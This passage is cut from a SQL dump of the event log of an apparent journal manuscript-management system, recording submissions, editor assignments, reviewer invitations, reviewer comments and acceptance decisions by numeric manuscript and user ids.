Email',8766,'Author',9821),(95847,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10059,'Author',10807),(95848,'0000-00-00 00:00:00','Reviewer has submitted comments',9998,'Reviewer',15663),(95851,'0000-00-00 00:00:00','Author sent Email',9641,'Author',10495),(95896,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9811,'Publisher',85),(95932,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10017,'Publisher',48),(95933,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10017,'Publisher',48),(95934,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10017,'Publisher',48),(95935,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10017,'Publisher',48),(95936,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10017,'Publisher',48),(95937,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10017,'Publisher',48),(95938,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10017,'Publisher',48),(95944,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10040,'Publisher',248),(95986,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9999,'Publisher',274),(96020,'0000-00-00 00:00:00','Reviewer has updated comments',9210,'Reviewer',5743),(96025,'0000-00-00 00:00:00','Publisher : Notified Editor',9663,'Publisher',988),(96026,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9665,'Editor',1410),(96028,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9663,'Editor',1410),(96029,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9663,'Editor',1410),(96030,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9663,'Publisher',988),(96031,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9663,'Publisher',988),(96040,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10023,'Publisher',376),(96041,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10023,'Editor',1705),(96042,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10023,'Editor',1705),(96067,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10028,'Publisher',85),(96069,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96070,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96071,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96072,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96073,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96074,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96075,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96076,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96077,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96078,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96079,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96080,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96081,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96082,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96083,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96084,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96085,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96086,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96087,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96088,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96089,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96090,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96091,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10028,'Publisher',85),(96157,'0000-00-00 00:00:00','Author sent Email',9903,'Author',10690),(96169,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9811,'Publisher',85),(96170,'0000-00-00 00:00:00','Reviewer has submitted comments',8660,'Reviewer',15340),(96171,'0000-00-00 00:00:00','Publisher : Notified Editor',9517,'Publisher',85),(96173,'0000-00-00 00:00:00','Publisher : Notified Editor',8660,'Publisher',85),(96174,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8660,'Editor',1574),(96175,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8660,'Editor',1574),(96181,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8660,'Publisher',85),(96258,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9903,'Editor',1456),(96259,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9903,'Editor',1456),(96260,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10100,'Publisher',988),(96261,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10101,'Publisher',988),(96263,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10102,'Author',10847),(96282,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10055,'Publisher',984),(96299,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10040,'Editor',1674),(96300,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10040,'Editor',1674),(96308,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10001,'Editor',194),(96309,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10001,'Editor',194),(96310,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10001,'Publisher',48),(96326,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10059,'Publisher',274),(96397,'0000-00-00 00:00:00','Manuscript Submitted by Author',10116,'Author',3488),(96422,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10119,'Publisher',84),(96439,'0000-00-00 00:00:00','Reviewer has submitted comments',9555,'Reviewer',17211),(96440,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9555,'Editor',1367),(96441,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9555,'Editor',1367),(96442,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9555,'Publisher',972),(96443,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8571,'Editor',1324),(96444,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9555,'Editor',1367),(96445,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8571,'Publisher',972),(96446,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9555,'Publisher',972),(96491,'0000-00-00 00:00:00','Reviewer has submitted comments',9910,'Reviewer',11689),(96492,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9910,'Editor',194),(96493,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9910,'Publisher',48),(96494,'0000-00-00 00:00:00','Reviewer has updated comments',9976,'Reviewer',11689),(96517,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10138,'Author',10867),(96519,'0000-00-00 00:00:00','Manuscript Submitted by Author',10139,'Author',3488),(96524,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10142,'Author',10869),(96525,'0000-00-00 00:00:00','Manuscript Submitted by Author',10143,'Author',3488),(96527,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10144,'Author',10870),(96531,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10147,'Author',10873),(96541,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10060,'Publisher',75),(96542,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10101,'Publisher',988),(96543,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10100,'Publisher',988),(96544,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10101,'Publisher',988),(96545,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10101,'Publisher',988),(96546,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10101,'Publisher',988),(96547,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10100,'Publisher',988),(96549,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10100,'Publisher',988),(96550,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10100,'Publisher',988),(96559,'0000-00-00 00:00:00','Publisher : Notified Editor',9998,'Publisher',988),(96563,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9998,'Editor',1410),(96564,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9998,'Editor',1410),(96574,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9998,'Publisher',988),(96577,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9998,'Publisher',988),(96599,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10149,'Publisher',84),(96603,'0000-00-00 00:00:00','Reviewer has submitted comments',10101,'Reviewer',18830),(96606,'0000-00-00 00:00:00','Reviewer has submitted comments',10100,'Reviewer',18838),(96613,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10150,'Publisher',84),(96614,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',9517,'Editor',1251),(96615,'0000-00-00 00:00:00','Publisher : Notified Author',9517,'Publisher',85),(96616,'0000-00-00 00:00:00','Publisher : Notified Author',8594,'Publisher',85),(96831,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9976,'Publisher',48),(96832,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9976,'Publisher',48),(96857,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10142,'Publisher',48),(96858,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10142,'Publisher',48),(96859,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10142,'Publisher',48),(96860,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10142,'Publisher',48),(96861,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10142,'Publisher',48),(96862,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10142,'Publisher',48),(96863,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10142,'Publisher',48),(96871,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10144,'Publisher',48),(96872,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10144,'Publisher',48),(96873,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10144,'Publisher',48),(96874,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10144,'Publisher',48),(96875,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10144,'Publisher',48),(96876,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10144,'Publisher',48),(96901,'0000-00-00 00:00:00','Publisher : Notified Author',9517,'Publisher',85),(96910,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10173,'Author',10890),(96911,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10174,'Author',10891),(96914,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10176,'Author',10893),(96916,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10178,'Author',10896),(96922,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10182,'Author',10898),(96926,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10119,'Publisher',84),(96943,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9934,'Editor',194),(96944,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9934,'Editor',194),(96945,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10017,'Editor',194),(96946,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10017,'Editor',194),(96947,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10142,'Editor',194),(96948,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10142,'Editor',194),(96949,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10017,'Publisher',48),(96950,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9934,'Publisher',48),(96953,'0000-00-00 00:00:00','Reviewer has updated comments',9775,'Reviewer',16023),(96954,'0000-00-00 00:00:00','Reviewer has submitted comments',8914,'Reviewer',11446),(96955,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10119,'Publisher',84),(96956,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10119,'Publisher',84),(96957,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10119,'Publisher',84),(96958,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10119,'Publisher',84),(96959,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10119,'Publisher',84),(96960,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10119,'Publisher',84),(96961,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10119,'Publisher',84),(96962,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10119,'Publisher',84),(96963,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10119,'Publisher',84),(96964,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10119,'Publisher',84),(96965,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10119,'Publisher',84),(96966,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10119,'Publisher',84),(96970,'0000-00-00 00:00:00','Reviewer has submitted comments',10119,'Reviewer',11446),(96971,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10119,'Editor',222),(96972,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9944,'Editor',222),(96973,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10119,'Editor',222),(96975,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9944,'Editor',222),(96976,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9775,'Editor',222),(96977,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9651,'Editor',222),(96985,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10190,'Author',10904),(96987,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10150,'Publisher',84),(96988,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10149,'Publisher',84),(96989,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9651,'Publisher',84),(96998,'0000-00-00 00:00:00','Publisher : Notified Author',9517,'Publisher',85),(97074,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10142,'Publisher',48),(97135,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10200,'Author',10910),(97139,'0000-00-00 00:00:00','Reviewer has submitted comments',10001,'Reviewer',11520),(97140,'0000-00-00 00:00:00','Reviewer has submitted comments',10001,'Reviewer',11520),(97141,'0000-00-00 00:00:00','Reviewer has submitted comments',10001,'Reviewer',11520),(97142,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10001,'Publisher',48),(97143,'0000-00-00 00:00:00','Reviewer has submitted comments',9960,'Reviewer',11520),(97144,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9960,'Publisher',48),(97145,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9960,'Publisher',48),(97146,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9960,'Publisher',48),(97147,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9960,'Publisher',48),(97148,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9960,'Publisher',48),(97149,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9960,'Publisher',48),(97187,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10190,'Publisher',48),(97220,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10190,'Publisher',48),(97221,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10190,'Publisher',48),(97222,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10190,'Publisher',48),(97223,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10190,'Publisher',48),(97224,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10190,'Publisher',48),(97225,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10190,'Publisher',48),(97226,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10174,'Publisher',376),(97227,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10174,'Editor',1705),(97228,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10174,'Editor',1705),(97322,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10222,'Author',10924),(97323,'0000-00-00 00:00:00','Publisher : Notified Author',9517,'Publisher',85),(97343,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10192,'Publisher',988),(97344,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10192,'Publisher',988),(97345,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10192,'Publisher',988),(97346,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10192,'Publisher',988),(97348,'0000-00-00 00:00:00','Manuscript Updated',10192,'Publisher',988),(97356,'0000-00-00 00:00:00','Reviewer has submitted comments',10192,'Reviewer',18838),(97359,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10017,'Publisher',48),(97360,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10017,'Publisher',48),(97361,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9519,'Editor',194),(97362,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9519,'Editor',194),(97365,'0000-00-00 00:00:00','Reviewer has submitted comments',9519,'Reviewer',18592),(97367,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10229,'Publisher',85),(97373,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9519,'Publisher',48),(97375,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9519,'Publisher',48),(97395,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10142,'Publisher',48),(97428,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10176,'Publisher',75),(97494,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10102,'',1045),(97495,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10241,'Author',10940),(97506,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10247,'Author',10944),(97507,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10182,'Publisher',645),(97516,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10252,'Author',10946),(97517,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10253,'Author',10947),(97525,'0000-00-00 00:00:00','Publisher : Notified Editor',10192,'Publisher',988),(97526,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10192,'Editor',1410),(97527,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10192,'Editor',1410),(97528,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10192,'Publisher',988),(97529,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10192,'Publisher',988),(97531,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10200,'Publisher',84),(97553,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10263,'Publisher',48),(97567,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10265,'Author',10956),(97579,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10268,'Author',10959),(97591,'0000-00-00 00:00:00','Manuscript Submitted by Author',10275,'Author',10896),(97614,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10222,'Publisher',84),(97726,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10116,'Publisher',274),(97729,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10139,'Publisher',274),(97733,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10143,'Publisher',274),(97737,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10147,'Publisher',274),(97744,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10178,'Publisher',274),(97746,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10229,'Publisher',85),(97752,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10234,'Publisher',248),(97850,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10298,'Author',10986),(97851,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10299,'Author',10987),(97864,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10222,'Publisher',84),(97865,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10222,'Publisher',84),(97866,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10222,'Publisher',84),(97867,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10222,'Publisher',84),(97868,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10222,'Publisher',84),(97869,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10222,'Publisher',84),(97870,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10222,'Publisher',84),(97871,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10222,'Publisher',84),(97872,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10222,'Publisher',84),(97873,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10222,'Publisher',84),(97874,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10222,'Publisher',84),(97875,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10222,'Publisher',84),(97876,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10229,'Editor',1675),(97877,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10229,'Editor',1675),(97878,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10229,'Publisher',85),(97879,'0000-00-00 00:00:00','Publisher : Notified Editor',10028,'Publisher',85),(97887,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10308,'Author',10993),(97888,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10309,'Author',10994),(97947,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10241,'Publisher',84),(97969,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9713,'Publisher',248),(97999,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10263,'Publisher',48),(98000,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10298,'Publisher',48),(98001,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10299,'Publisher',48),(98002,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10308,'Publisher',48),(98006,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10315,'Publisher',48),(98007,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10263,'Publisher',48),(98008,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10263,'Publisher',48),(98009,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10263,'Publisher',48),(98010,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10263,'Publisher',48),(98011,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10263,'Publisher',48),(98017,'0000-00-00 00:00:00','Publisher : Notified Editor',9397,'Publisher',984),(98019,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10298,'Publisher',48),(98020,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10298,'Publisher',48),(98021,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10298,'Publisher',48),(98022,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10298,'Publisher',48),(98023,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10298,'Publisher',48),(98024,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10299,'Publisher',48),(98025,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10299,'Publisher',48),(98026,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10299,'Publisher',48),(98027,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10299,'Publisher',48),(98028,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10299,'Publisher',48),(98029,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10308,'Publisher',48),(98030,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10308,'Publisher',48),(98031,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10308,'Publisher',48),(98032,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10308,'Publisher',48),(98033,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10308,'Publisher',48),(98034,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10315,'Publisher',48),(98035,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10315,'Publisher',48),(98036,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10315,'Publisher',48),(98037,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10315,'Publisher',48),(98038,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10315,'Publisher',48),(98045,'0000-00-00 00:00:00','Reviewer has submitted comments',9813,'Reviewer',11689),(98048,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9813,'Publisher',48),(98049,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9999,'Publisher',274),(98050,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9999,'Publisher',274),(98051,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9999,'Publisher',274),(98052,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9999,'Publisher',274),(98053,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9999,'Publisher',274),(98054,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(98055,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(98056,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(98057,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(98058,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(98059,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(98060,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(98061,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10116,'Publisher',274),(98062,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10028,'Editor',1408),(98063,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10028,'Editor',1408),(98064,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10028,'Publisher',85),(98065,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10028,'Publisher',85),(98089,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10322,'Author',11001),(98092,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10252,'Publisher',75),(98102,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10265,'Publisher',673),(98103,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10247,'Publisher',673),(98142,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10275,'Publisher',274),(98147,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10329,'Publisher',319),(98149,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10330,'Publisher',319),(98150,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10331,'Publisher',319),(98151,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10332,'Publisher',319),(98152,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10333,'Publisher',319),(98165,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10268,'Publisher',984),(98166,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10055,'Publisher',984),(98167,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10055,'Publisher',984),(98168,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10055,'Publisher',984),(98169,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10055,'Publisher',984),(98170,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10055,'Publisher',984),(98171,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10055,'Publisher',984),(98172,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10055,'Publisher',984),(98173,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10055,'Publisher',984),(98174,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10055,'Publisher',984),(98175,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10055,'Publisher',984),(98176,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10055,'Publisher',984),(98177,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10268,'Publisher',984),(98178,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10268,'Publisher',984),(98180,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10335,'Author',11009),(98184,'0000-00-00 00:00:00','Reviewer has submitted comments',9999,'Reviewer',12022),(98212,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10252,'Publisher',75),(98236,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10200,'Publisher',84),(98237,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10200,'Publisher',84),(98238,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10200,'Publisher',84),(98239,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10200,'Publisher',84),(98240,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10200,'Publisher',84),(98241,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10200,'Publisher',84),(98242,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10200,'Publisher',84),(98243,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10200,'Publisher',84),(98244,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10200,'Publisher',84),(98245,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10200,'Publisher',84),(98246,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10200,'Publisher',84),(98247,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10200,'Publisher',84),(98248,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10200,'Publisher',84),(98249,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10200,'Publisher',84),(98250,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10200,'Publisher',84),(98251,'0000-00-00 